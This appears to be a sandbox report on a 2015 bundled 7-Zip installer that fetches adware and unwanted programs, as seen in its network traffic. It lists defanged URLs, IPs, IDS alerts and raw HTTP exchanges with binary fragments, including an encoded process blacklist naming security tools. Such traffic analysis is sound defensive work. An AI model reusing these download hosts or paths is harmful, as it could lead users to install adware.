hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUY5PPWYBcW8Gs IILilpWF3nW9YwSk5gj28Va7JmIs/BV8xxQACfjs51d/yz32tmquaHkbuQuAqpVejzRFPrs6H2qfbRCWFZtoTGmCgccp0YHRVCONAYSU9nWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYBD5XCgTRohf9NtefOTH4UrOFpZLERjDKYAQkWl KJecj1mEjbWMPAZZWmyv2w9Pl8DAJatLB/sX	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=QHucCbLl /a3UIXclMT28rnjMnh 4VIhE4TSqwr5Own8ln8Iap23/2SGRkpEIbSdfl0yK7ww8bQ94V6p2b0iPoAQkWl KJecj1mEjbWMPAZZWmyv2w9PlybvQmbZnorvSOrYhj46XfQgpnHZJVLNW8M HGYhu8yV1qg9mP3gfJPb/7 kcvPCjjpeJfJMiPTs0JQd5HxgIXd/dqaEYXgO79I32qLmgkBzr0Y7vf0dioHxIkD535tYITCt8G2WWNXXjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701Lj6s3yV6l8413XZSkF1SfvAvZBqh0KVZHRTKfrgtZytF047tQXaDqtQ==	54.230.202.140
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=1&index_in_screen=1&index_in_session=1&0.9388066883255415	78.138.127.15
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUZKvgNPDm5dkjgb6v7cXpPth71QQSR2eRtjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qdmD4YpLGrlcew/zVg04SETIoScJ/u8QKKysiZqegQvr2IsVHp9lGjAnEvLxGb7yU=	54.230.202.140
hxxp://d1cfk8e4o0c4u2.cloudfront.net/12895.ashx?e=hXeqmv1Ipen8DUZEY163AJ/TkbZ2czqApsjqfqDD9YSMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NRbv9JgCPlAw8lOqQCf9KrCzd1pE lMJTJyqFZ2qF63zPqOvINB2X/uIogWjdbx/ZHatAG0OlbnVkSTBrGE5P5JL3iK8VeJNrVAezdf3aKUanmGGYVS7/B0JQd5HxgIXcchUPaSyVwwPCqh8CqOQ5D94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs5ze ZyOzdyUPJTqkAn/Sqws3daRPpTCUycqhWdqhet8m4gjbKdnB5g==	54.230.202.140
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.3&utms=4&utmn=1615058561&utmhn=installer.filebulldog.com&utmhid=1443136973&utmr=-&utmp=Installer_Init&utmht=1424736283075&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.113.198
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.3&utms=1&utmn=1340673461&utmhn=bi.bisrv.com&utmhid=943678377&utmr=-&utmp=Installer_Init&utmht=1424736079487&utmac=UA-31676879-1&utmcc=__utma=1.2079935846.1424736079.1424736079.1424736079.1;+__utmz=1.1424736079.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=408293684&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~	173.194.113.198
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=428401b2724ce34c9657f205e14d247c&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=73a4128c495a26c35337a5d3065bd25c&tokyo_csrf2_timestamp=1424736134&slot_number=1&index_in_screen=1&index_in_session=1&display_height=50&0.6546291316674241	78.138.127.15
time.windows.com	65.55.56.206
dns.msftncsi.com	131.107.255.255
www.gstatic.com	173.194.113.216
www.youtube.com	173.194.113.193
ssl.gstatic.com	173.194.113.216
apis.google.com	173.194.113.193

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET POLICY Executable served from Amazon S3
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack

Traffic

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=1788e91e-8b19-462a-8e2b-90ae69199b26&Password=p2giThPc&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1424736215&SBPIDS=0 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=stwasxzel0a5ovn3t1puwm55


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 00:03:15 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=150054-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 50018

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 150054-200071/200072

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ArCyXuq1gcgTL4zQ3pjdfMOWBO3sMR6q5IsvOcC42Dpdn8EZEkQemQ==
..?.=....x.{V{W.`.......m.%eM...eym...O#...w....:...v....Y....|.v.....
O...H..S...[b.....V......u...bw(0n-...y9.@%....wFo......c)L....h...\..
..3~...O...l. ..*.........y..;..L.'=N[G.h......^..Z.&.Z.Y,..$G..&../.H
o..t.Jr....O...u..\9..-.........a.xH.:[email protected][.........po$$....7.....
|.......-(H...`......V&.K?.z.....R..E.T;.X..Mp=..z.S.>uU..|O.q.s:..
.u. z..4f....:........D.5t..]..L...S..[.t{.(./=x..!9}[email protected].
[email protected].. ....A.b....B...P.z.N.5&-...#v...A........n..j.R..}`..]..xBc.
.{...#o.Z(h.a.Y...e.x.f-........................I..|...4..r4w.^.F,....
.....#.J`.8..U......5..c[:....N...].~...y*..p.lA.hNM...&.(.x..t.......
[email protected].&.&....g.. vBJ...y..2G0.Uw(..".?G7m.R....t*.@ ..... .
,.zd.....J.U..$`b....y{.7..E... .MZ....GZ4...Qp.}..X.,:...[`w......k%.
6.]^.L..`D...M... ..'....A....\...........e.~.....*...sm......(.......
..:j..nB.3 `-.J7.F...4..<....xm5..$......T..Hn.*$...X`Q..T..f.....%
.*lV%M.o....g......RY...[|.D...v..Rm<9V..{....>_l..T..h......K.3
........T..k.'}..cq,y.}..1.K..U.c5...I}.n9.s...0.5.2?...P{.1......'.N-
......L...........O9.5YX..f.....{4..s..D_^...4..8...d!.4.4..l..N.eK...
.-.V"."...F........9/....f..(......cj.3.}..Q...=GY[..x.....?......$..1
....D....j`H:..TT.7.$P|g....JH...G..\..S..T......B.q...... .....n..J^@
.=j.....C..W..}K%..a...i~.~.......g.a|.~... l.K........p.Do5..uA .9...
..._.5.........t.R..8N.Q2..]L...W..c. ...T..:.B.?1.. 6..y.i<..n0...
..EM.]......S"{K.X.........B.,.$.6.........0.. .-.,.^#......(.~....]iW
%.s[.M(....~...T'.......e....I......:F.5.`..l...U....7v&......:R..<<< skipped >>>

GET /infv3/index/2606/bnd/6.3.76.1518/7a9c839b08544f0d77986f6e82d16b3f HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive


HTTP/1.1 302 Moved Temporarily

Server: nginx

Date: Tue, 24 Feb 2015 00:03:41 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.2.14p1

Location: hXXp://VVV.inisxriy.com/files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip

0......

GET /files/zip_r3/2606_ba3a47c5781b0c9bb6f586b6519791f6/1.zip HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.inisxriy.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:03:42 GMT

Content-Type: application/zip

Content-Length: 2170167

Last-Modified: Mon, 16 Feb 2015 09:34:06 GMT

Connection: keep-alive

Accept-Ranges: bytes
PK........B.PF...*............422.json.......P..(..w.........L@.\...q.
..%.v..Q..~DO.M.|.Wj.N.........'?.}...n..0..5.^1.........#..z.n...t..#
.1jq`....*.>#.............m..V.&.vc~.<.w.R.'xD....q..qQ|.H.P6...
.l..&3....g.t/....|7p.......3......~...B|[email protected].}...P......^1....
....AO...t...HT,t.v.4.)......]._.u-g..f..M....:.x~..........J.....W]..
.~C..M...:]...{..-.e...8.i.2....aO...w...#i.^1......K........|~.k.....
....b......Nr.s.....!*l..5.D(L.w.J.kh.b..S...~..-..Y../.ap......q..j..
%....a.M=E.k}.0....g.`.$SaH...u...I.*h.Y.0.3s~.......a.w..............
.W3P7589DPK........B.PF..".f....K......uninstallDlg2.xml.\m.....^.....
..z.f.N...mo..As..$([email protected].../...w(Q.d.k9.6^T..."....gH....o......R.
f.3.-DX.#..3 ...L,.J.".sFf..I-...?...g."..R....Sw.N]..x-sQ.@}=..Fd..X.
8.!...Y..........|.o..1...Ox..li.....8.YRd.BT...3k..../....9^..T..sb#.
...nir.....mT.....(.2.eRr.y.....1.r...d\~.. ~!I......v....x.t]H.$BW0..
.L.......'^....8..<.0\.eQ.R....Iq..9..[\k. .O.:rs...7...tE..D..B.(h
..h.....GA...'..{M..m(x....2s...b.4.x..p....M..`.ukQ..;].....(u.Z.A...
.L.r........~/P...........|.`l...5d}....w.#..1......vS.W.....`....b@w.
r.%sS.w......Q..#B.."B}..f...K...,c..d.1.....`ST2.M`.."...$.lC..p.P)..
Ce.b.LQ..0...h.aF...L. ps~.'FP.a.`R.2........!X............"B.....'.I.
@#..Y#....]. .....]...eM....#..Zp..`.....l"....<..Q....V.2.~.......
...S..9...nf..(K!..Q......,.....P....BO{0Q.....N....".M.....(m]....._.
WW.."...B.h...Bn.Pa."V...%....wwQ...g,j0'...w..].....\..Z........n.1..
k...Q...qI.jD1..q..r.h5._..\_)..RQ....RC.7.'..:../.~R.....y.jI<<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=741306-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: rfGNTihgnFT8J ek3b/pjr6ThMlo2PftTz75AbY63YQlBzjPQXHzK cb 3ZqlAHjol5wtyedhec=

x-amz-request-id: 25F59F39602BF88A

Date: Tue, 24 Feb 2015 00:02:19 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 741306-988407/988408

Content-Type: application/octet-stream

Content-Length: 247102

Server: AmazonS3
......yM.[....~.....8.^..$5*iD..8.'.~N.1.Dfm.Pz.\..M.a.. .h#....H..&..
.@..............*P......\..d....#V..Q...p7.sY....8FX.....k...~...P....
[email protected].].....y..N.k.%U..L......8..?.....8..x.v...{.e.. .p.Zp..O...JBe.H.
.M.\(..y.d.&.B....H*........5...........uZ...JfY(..;.x.......k..w1....
..>.n.&$I....~K...M......w..#A....D..ms.z...zx.a6.5.BY..k.f...$....
.H|..^.....9...F.m.u-...'...H.w.eYA......{5....R."..d#..z:..0......H..
.....su..........t.5.....8.t....T1...C7.9y......_wO_...b.....)/....^..
....NH...7.;i...U..o...u..k#o....\Z..Ha^..T.H"'......s.........1...U.{
g..r..*o...^.....t%B....o.DV......!...8.....V @j....P.4o.z\..B.8S $z8.
/.x...~sw?ol..f.0}...a..`u.A...(n..o...:.).Ga..h^.jZ.'.c...q..^$..)...
..n.....y~~s[50...E.. ...S._A.F.}...F.e.shd<.4fL...j....|E...'U..e.
B.....Q.!J...K..Q._......6ME....b...`8.!.5.E..........'1.....2.D.SA.Lo
.]../..d.........SP......-n..g*.k.../....G]{..R...6s.....j.;..M.4.....
..s8.Q~.jbx.o.!..G.O... ..C....).:..........n".c.=.q].e..2.D....J..lFn
y../-....e....?......3`.|.......n.A...|h$;.....wu...1...4z9.t..#..f.&g
t;....A.).._..J..Bs/5.b_....C.}.....&...nU?n...Lb.hH....H.o...........
.RE.{...=.v.sjw.m!4f..AC).....1..F..A*..s.......;z^NMQ.P..D.SEf.......
AM........$.qzgM......=.....A.8..y...,......{..|......!...Q....u......
........m...8?......q...t.w...M.yE.D.K.h.........).......|....#...3...
.[.6.G......C..e..T.....!......k=...JuEzV./.w..."Cj.0......~T.N.......
.O.[..G5o..........Q...V.c..H.......'z..mX1.......}w.NE.K....j.1T=.)}.
....zS..9...v......A....$...........r..dc.."r.0..l..h..H.......;..<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=160816-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 160816

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:36:11 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 160816-321631/321632

Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 1f3fb60768611bd03244cf06312d5a9c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: c_ceILnKv9ZOxWUhDiFdQAL-aSsAf_6xs995PnS-J_Ak1tFOWAfJZA==
..C...T.C.Zf.1f.0......Ju..............L...@;.v.....~....0....C.......
[email protected]............{......95..C...T.......M._^3.[.G
.....j.h..C.......M..........}......._h.u..q....E.;C...W...h ....jD..Y
......F.........wh.....#.S.u......YY.E..........u..vh..l C...u..Fh= .C
.t.P.....Y.^hS.=h C....Fp...........C........j......Y.e...C..$.C..C..(
.C..C..,.C.3..E....}[email protected].=....}[email protected][email protected].=..
..}[email protected] C...u..H.C.= .C.t.P.....Y..H.C.S...E....
.......0j......Y..%...u .. .C.t.S.....Y..D...........e...E..;.....=..C
..u.j..V...Y....C.....3....U...M.VW..t..}...u..KD..j.^.0..|.....A.U...
u.........>.t.FOu...t. ......B..t.Ou...u......D..j"Y......3._^]...U
..3.S3.@9].|FVW..t>.E.... ....E....<..7.E..0..;..YY..u..M.....9.
.y.N.u....^.;].~._^3......[..]...U..Q..tP.>.tKh.IC.V.....YY..t:h.IC
.V.....YY..u.j..E.Ph... .w....!C...t).E...V..;..Y.E...j..E.Ph... .w...
.!C...u.3....}..u.... C.....U..3.f.M.f;.pIC.t.......r.3.@].3.]...V3.. 
.A.B<.w.......A.<.w..........t......u...^.3...B..A|...Z~...a...w
[email protected]....|.t.C.3..E.VW.}.................jx.E.P..........%.........
PW... [email protected]:..YY..u.W.....Y..t..................
.................M._3.^.&.........U..QV..j..E.P..%....h... .....P...!C
...u.3..);u.t!.}..t..E..0W.......V...m ..Y;._t.3.@^....U....|.t.C.3..E
.SVW.}...................... C...jx.E.P.F.....%.........PW....u..f..3.
@.c....E.P.v..L9..YY........jx.E.P.F.....%.........PW....t..E.P.6..9..
YY..u..N......~..R.F..uO.F...t,P.E.P.6.,:.......u..6.N...~......Y;<<< skipped >>>

GET /v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.1716 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 24 Feb 2015 00:04:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.72 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 24 Feb 20
15 00:04:32 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.72 ms","message":"store 2 ac
tion and 4 update "}..0..

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=125045-

User-Agent: Better Installer(Mozilla)

Host: d32c8485dhfcya.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 75027

Connection: keep-alive

Date: Sun, 22 Feb 2015 05:42:08 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 125045-200071/200072

Age: 283

X-Cache: Hit from cloudfront

Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Z7M4b0Snbs6yQAA8TeX2-nQJiF98ToA4kkbFABRueCQGYBCujEdgzQ==
.s..G....e......H.,.\6.,..u.{.(.G...b. .|'W..Sn..d...04fzHC.6..>...
 S...I..&.............}O'Y..2...e....#I".T(x.!....f.:.9.).. ....!^.!..
v....!.. s.......|h..&....i......d....Z....;.6=. ...].Y......Ba.q..f..
....g....S^S..Q.#.|.. .Wb.......nu.z..X._u...t........[...M..$U..5..-.
.yc1g.\..:...>..f.5n.aY6.....$0.tX.T8..e.tc..qoKh)]...Nw...r9$-.MdJ
Bc~...N.....r.v..c..1...m.S%.S.)\.0q....S8(..6..*u1.)Ji`x......F|..,G;
..sdb.2....dz....jJ..0....$....&....0.0.`B..~...X.:.I.....;!uu|S. 5..s
6..'..3.....%.....#...{\..`..}..Z .SRa.d......6..R....[........k.]..3w
P..1......xA....2.V.N.>..c..m7.?...r*`J.6....*[%...;....G$y>..].
....Y.3L.=fx6.5<..f.i3'Q..A3F......_U......Vu2...9?6....p"W&.Fj..v.
7....D ......0..y...TG4L'....\H..B..a:.\.....7.U..9....QW....4..r....p
...a%....|.Z.....N...oT.\4...E..5.G..B..X.../......z..j9Z.1../..!.}.D.
.rg.$..,6.Tp.|..V...W.L.....n.(.....FK.,p}[email protected]=j.:....2..>
.h>..k.2....n.^6....R....#....._X4=u.{.3$=..'o...S....~"O...?....5.
8...q.L.i......I.4!.{r$P....p._qL.y-.z..*...C..|.k........i....?..}A..
Gj..h......k?....p...U...c.4m..I.)....@.&%.-. .Y...............!.X/a..
c..GfP...b..5F,^..9....`"e...u.... :wF...../$..rH.Dk.K.Be..0.C..-^...y
.S{.S.[.....a.|....m<,.KE........l[.........=.].g K...R.1...{......
..... .>RK....Qs#.B..:S...O&.O...i}...8_...\.I.M.....Gs\_.o*.s....'
.T,.>.x......V......G...... *A.#...~.U..)...o..-.OB.hl.K......5....
.!=9.%w~....I...Y.."....?N...]..i.zn.r.veB....p....tx...\..w.....g.[..
p.C8...4........2.g......%..lb.....G..PMi..b...B.*...(Q^.*.BjbLn..<<< skipped >>>

GET /__utm.gif?utmwv=5.6.3&utms=4&utmn=1615058561&utmhn=installer.filebulldog.com&utmhid=1443136973&utmr=-&utmp=Installer_Init&utmht=1424736283075&utmac=UA-31676879-1&utmcc=__utma=1.1232722804.1424736155.1424736155.1424736155.1;+__utmz=1.1424736155.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip23678/7zip/df2ee0eca619e745941b88b65e390118?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 19 Feb 2015 06:52:58 GMT

Server: Golfe2

Content-Length: 35

Age: 407485

Alternate-Protocol: 80:quic,p=0.08

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

GIF89a.............,...........D..;..

GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,1a2e5f38-dbe6-4619-8c53-3c3fb0ec7872,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=stwasxzel0a5ovn3t1puwm55


HTTP/1.1 200 OK

Connection: close

Date: Tue, 24 Feb 2015 00:02:22 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<ANON>.<ID>8bbf5d60-0613-4bcc-93c8-28817ab1
fcc2</ID>.<PW>bbRSxORx</PW>.</ANON>.</RESUL
T>...

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /ga.js HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Mon, 23 Feb 2015 22:01:54 GMT

Expires: Tue, 24 Feb 2015 00:01:54 GMT

Last-Modified: Thu, 05 Feb 2015 17:35:24 GMT

X-Content-Type-Options: nosniff

Content-Type: text/javascript

Vary: Accept-Encoding

Content-Encoding: gzip

Server: Golfe2

Content-Length: 16065

Age: 7145

Alternate-Protocol: 80:quic,p=0.08

Cache-Control: public, max-age=7200
...........}.W...........>)B..&.Y.( (...s\.......t.........:......w
..T...]..T~2.........9\.2.=......{..A..{..dx.K..vz/..G:.....q*b..Go.[q
....Rh..z:..V.x.})...P..aoQ...n_.a4....&..a.....Siz.JC.... ..z..J{. C/
...CO\AP]..N..>..d..=1...?..5&.j......f{."........e.....K.g......}.
...6.S.>J...a. /$....B..W...Sh9.jw..a?..~..w.q9....!9.t.=.....$m.,.
X.O,....u$.,cH.......:...X....../.......'n!..] ..T... b.=.........X..c
.m.w......]..G#3..$......(....~.:..G.....{r.....`......S.CHA..J....J.N
...,V.2.5.YZ2..,..._rb.D.Tv.2.P<....{.O..{N...~;^.,.ryy.........c..
,y^..n..Y.A^.....B.P><x P'...A..y..To;[email protected]..
.l.. ..2...._..!.l..V.N..0.....K?..Uy...b....t........${q.....c..B....
.:&.b.FO.... ...r1jd....&q8......az.....S.&.....y(.|.......:=..txo....
..f......Dwa=..........a...oB...Q.q......=J5 ..,...KK1t.,.T.K.^^.|..,.
.$.&.|..e>...Ux...).=:l.R..*.zF<[email protected] .:...G
[email protected].?.... ....V=.......$.ad.0.......`.KM..y..$X..m\i....</Ovl;.
...Ij.[Ze;.H.R.......Y.^.G....6...Y...!D8..O&.^..k...*......N)%......(
....xV...D*a....(%..P.... .!4...p...m....}.[7.|.6_.|g/...BKC.....[.../
5.2M......S....q..oaX.l......NX.n...Lcj....*.....r0%[<..aZ.J..N.v..
s...........A\.f... Y..N...o.R..5.....ok.fea.A...gy !W,..S9l......Ika.
bWo.Q.....T)/.-l1.....3...T...x...).'@@H.F.... Is.....gbs ......U.....
=....u.Vhv(.i..z..`^..8.W... ...8...u.X..-.q...Db.p..V.N.......-LB....
.a...cD'.%..R).....Ym5..%[email protected] .:.B...Om.....U..k.>.......
..P. G.!SI.!(q.k6m..sxWg..uM]1..;.W.=.....b.)J.V[..4. ..Z>..E1.<<< skipped >>>

